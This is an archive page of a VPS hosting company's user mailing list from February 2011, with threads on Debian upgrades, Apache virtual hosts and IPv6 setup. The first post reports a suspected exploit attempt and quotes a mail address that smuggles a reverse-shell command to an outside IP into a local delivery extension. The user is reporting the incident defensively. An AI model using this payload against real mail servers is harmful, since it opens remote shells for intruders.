BitFolk Users February 2011

users@mailman.bitfolk.com

33 participants
18 discussions

Interesting email to "root" - possible exploit attempt (failed hopefully)

by Alastair Sherringham

I received an interesting email today. I only noticed because I had logged in SSH and got the "you have new email" message. Reading via "mail", I see : Delivered-To: "root+:|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0"@calliope.bitfolk Obviously some sort of possible exploit. The IP address 87.106.250.176 is Germany (1&1 Internet). Postfix reported : warning: 36FE51381A3: address with illegal extension: root+:|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0 But it was delivered. I hope nothing bad has happened. I am running AIDE as we speak and digging around). Cheers, -- Alastair Sherringham http://www.sherringham.net

13 years, 2 months

Re: [bitfolk] Lenny to Squeeze

by Joseph Heenan

On 07/02/2011 10:30, Michael Stevens wrote: > I'm going to have a go at this soon, any chance someone who succeeds can > write it up? > My upgrade is now finished and all working thanks to Andy. Don't really have time just now to write up a wiki, but basically I followed the upgrade section in the release notes. Various bitfolk specific things I'm aware of Before starting: - make sure you know how to access your console before you start (you shouldn't need it, but if anything goes wrong you'll need it) - optionally, ask support to take a snapshot before starting - check before you upgrade that if you have root partition on /dev/xvda1 that fdisk -l /dev/xvda works. If it doesn't you need your xvda1 renaming to xvda, contact support. At the point where the release notes tell you to install a kernel then udev and reboot: - make sure grub-legacy is installed (or at least that grub2 is not installed), as grub2 doesn't work at bitfolk yet and is likely to be installed during the upgrade - use the linux-image-686-bigmem kernel; check update-grub and/or /boot/grub/menu.lst does point at the right kernel - ensure grub kopts doesn't contain clocksource=jiffies After upgrade: - check again that grub-legacy is there and menu.lst still defaults to the correct bigmem kernel Joseph

13 years, 2 months

Re: [bitfolk] Lenny to Squeeze

by Andy Smith

Hello, On Mon, Feb 07, 2011 at 08:23:23PM +0000, Michael Stevens wrote: > On Mon, Feb 07, 2011 at 01:24:14PM +0000, Joseph Heenan wrote: > > - ensure grub kopts doesn't contain clocksource=jiffies > > Do you have any info on why this is needed? Why it was needed for the -xen kernels or why it's no longer needed for the newer pvops kernels? Some customers using -xen kernels experienced this: http://bugzilla.xensource.com/bugzilla/show_bug.cgi?id=1098 The workaround worked and didn't seem to affect anyone negatively so it became our standard setting. When newer kernels incorporating generic virtual guest support ("pvops") became available, clocksource=jiffies not only wasn't necessary but produced some odd timing effects. So it must be removed. Cheers, Andy -- http://bitfolk.com/ -- No-nonsense VPS hosting

13 years, 2 months

Re: [bitfolk] Lenny to Squeeze

by Joseph Heenan

On 07/02/2011 20:23, Michael Stevens wrote: > On Mon, Feb 07, 2011 at 01:24:14PM +0000, Joseph Heenan wrote: >> - ensure grub kopts doesn't contain clocksource=jiffies > Do you have any info on why this is needed? I have no info beyond Andy saying it's no longer necessary and that having it may cause problems. I guess you were probably hoping for a bit more technical detail than that :-) Joseph

13 years, 2 months

Lenny to Squeeze

by Rakhesh Sasidharan

Hi, Now that Squeeze is around the corner, I was wondering if there are any special steps I need to take while dist-upgrade from Lenny to Squeeze since I am running on Xen. Any experiences/ suggestions welcome! Thanks, Rakhesh

13 years, 2 months

setting up multiple websites

by john lewis

Currently I have only one website setup (http:/startx.co.uk) and as far as I can tell by looking at the /etc/apache2 settings I didn't need to do anything much at the time I originally got it running. I notice I have this file /var/www/index.php <?php header("Location: http://startx.co.uk/Kingsclere"); exit; ?> which presumably points to /var/www/Kingsclere which contains all the files for the website (I should point out my memory is hopeless these days and I cannot remember what I did when I set it it and like most? people I didn't document setting up the VPS other than listing the packages I installed on top of the basic etch system) Now to the reason for writing, it looks likely that I will need to add another website to the current apache2 setup. A friend of mine needs to cease running a website which complements my "Kingsclere Families". We don't want to lose all the historical stuff which is on my friends site so I have offered to host the website for him but want to keep the current name of his site so I will have Kingsclere Families and Kingsclere History sites. I browsed the web for instructions and ended up using this site www.debian-administration.org/article/412/Hosting_multiple_websites_with_Ap… it is a bit old but it mostly works on a test setup on my local desktop machine and I can load the three test sites with the URL http://localhost/sitename However I get this error message: benden:/home/jayell# apache2ctl -S [Mon Feb 07 11:07:27 2011] [error] VirtualHost *:80 -- mixing * ports and non-* ports with a NameVirtualHost address is not supported, proceeding with undefined results [Mon Feb 07 11:07:27 2011] [warn] NameVirtualHost *:80 has no VirtualHosts VirtualHost configuration: wildcard NameVirtualHosts and _default_ servers: *:* is a NameVirtualHost default server benden.pern (/etc/apache2/sites-enabled/000-default:1) port 80 namevhost benden.pern (/etc/apache2/sites-enabled/000-default:1) port * namevhost Kingsclere (/etc/apache2/sites-enabled/Kingsclere:4) port * namevhost KingsclereHistory (/etc/apache2/sites-enabled/KingsclereHistory:4) port * namevhost StartxLimited (/etc/apache2/sites-enabled/StartxLimited:4) Syntax OK is the problem cased by having a default server which presumably was setup automatically and based on the hostname. There is nothing in /etc/apache2/sites-enabled/@000-default which refers to 'benden' If I remove that file then I cannot access the other 3 vhosts apologies for the long posting but I need to be sure of what I am doing before I try doing anything on my VPS -- John Lewis Debian & the GeneWeb genealogical data server

13 years, 2 months

Re: [bitfolk] Lenny to Squeeze

by Andy Smith

Hi Michael, On Mon, Feb 07, 2011 at 10:30:17AM +0000, Michael Stevens wrote: > I'm going to have a go at this soon, any chance someone who succeeds can > write it up? I agree it would be nice if someone would write a wiki page on https://tools.bitfolk.com/wiki/ (perhaps in the style of https://tools.bitfolk.com/wiki/Upgrading_to_Ubuntu_10.10 ?). As it is I have done the lenny->squeeze upgrade myself many times and have written about it on this list. Here are some links: http://lists.bitfolk.com/lurker/message/20100131.142338.3cc389ca.en.html (udev advice no longer really an issue, and recommended kernel is now just the normal linux-image-686-bigmem) http://lists.bitfolk.com/lurker/message/20110124.142717.33ece5f9.en.html Other than that, just follow the squeeze release notes for upgrading from lenny. Cheers, Andy -- http://bitfolk.com/ -- No-nonsense VPS hosting

13 years, 2 months

ipv6 configuration

by Phil Stewart

I'm trying to configure ipv6 on my VPS, mainly as a learning experience at this point. The customer documentation indicates that ipv6 should autoconfigure through router advertisement, however my VPS isn't receiving a global scope /64 from the network: $ sudo ip -6 addr show dev eth0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qlen 1000 inet6 fe80::216:3eff:fe1b:b205/64 scope link valid_lft forever preferred_lft forever I've checked through all the relevant configuration settings I can find on my VPS, and so far as I can tell everything is in order - in particular, /proc/sys/net/ipv6/conf/(eth0|all|default)/autoconf = 1 and related settings seem to be enabled and/or using default values. The only clue I can find is this line from dmesg: [ 120.375945] eth0: no IPv6 routers present Is this indicating a problem with the VPS host/network, or is there something I'm missing? My VPS is running Debian Lenny (upgraded from Etch), and is hosted on kwak. -- Phil Stewart

13 years, 2 months

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

BitFolk Users February 2011